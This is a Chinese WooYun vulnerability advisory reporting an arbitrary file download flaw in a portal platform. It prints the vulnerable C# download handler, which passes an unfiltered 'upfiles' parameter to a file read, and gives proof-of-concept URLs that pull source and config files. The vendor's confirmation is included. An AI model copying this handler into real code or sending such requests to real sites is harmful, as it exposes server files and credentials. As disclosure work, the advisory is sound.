当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2014-055282

漏洞标题:某通用型门户平台任意文件下载漏洞

相关厂商:mountor.cn

漏洞作者: magerx

提交时间:2014-04-03 10:19

修复时间:2014-07-02 10:19

公开时间:2014-07-02 10:19

漏洞类型:任意文件遍历/下载

危害等级:中

自评Rank:10

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2014-04-03: 细节已通知厂商并且等待厂商处理中
2014-04-03: 厂商已经确认,细节仅向厂商公开
2014-04-06: 细节向第三方安全合作伙伴开放
2014-05-28: 细节向核心白帽子及相关领域专家公开
2014-06-07: 细节向普通白帽子公开
2014-06-17: 细节向实习白帽子公开
2014-07-02: 细节向公众公开

简要描述:

蒙特某门户平台任意文件下载漏洞

详细说明:

漏洞文件:down.aspx.cs

using System;
using System.Data;
using System.Configuration;
using System.Collections;
using System.Web;
using System.Web.Security;
using System.Web.UI;
using System.Web.UI.WebControls;
using System.Web.UI.WebControls.WebParts;
using System.Web.UI.HtmlControls;
using System;
using System.IO;
public partial class down : System.Web.UI.Page
{
protected void Page_Load(object sender, EventArgs e)
{
string fileName="";
FileStream fileStream=new FileStream(Server.MapPath("/")+Request["upfiles"],FileMode.Open);//upfiles木有过滤~
fileName = Request["upfiles"].ToString().Substring(7);//命名方式从第7位开始
long fileSize = fileStream.Length;
Context.Response.ContentType="application/octet-stream";
Context.Response.AddHeader("Content-Disposition","attachment; filename=\""+fileName+"\"");
Context.Response.AddHeader("Content-Length",fileSize.ToString());
byte[] fileBuffer=new byte[fileSize];
fileStream.Read(fileBuffer, 0, (int)fileSize); //到这里任意文件下载就产生了
fileStream.Close();
Context.Response.BinaryWrite(fileBuffer);
Context.Response.End();
}
}


以其中一个你们的客户做测试

http://www.xxx.com.cn/down.aspx?upfiles=./down.aspx.cs


QQ20140402-1.png


http://www.xxx.com.cn/down.aspx?upfiles=./config


QQ20140402-2.png

漏洞证明:

QQ20140402-1.png


QQ20140402-2.png

修复方案:

0.0

版权声明:转载请注明来源 magerx@乌云


漏洞回应

厂商回应:

危害等级:低

漏洞Rank:3

确认时间:2014-04-03 17:37

厂商回复:

感谢magerx。弱点隐患产生因该项目前台程序嵌套人员考虑不周,未对下载文件类型限致所致;同时项目代码审核员未进行必要性审核致弱点存在。经复查,该文件非必需,已删除。再次感谢magerx。

最新状态:

暂无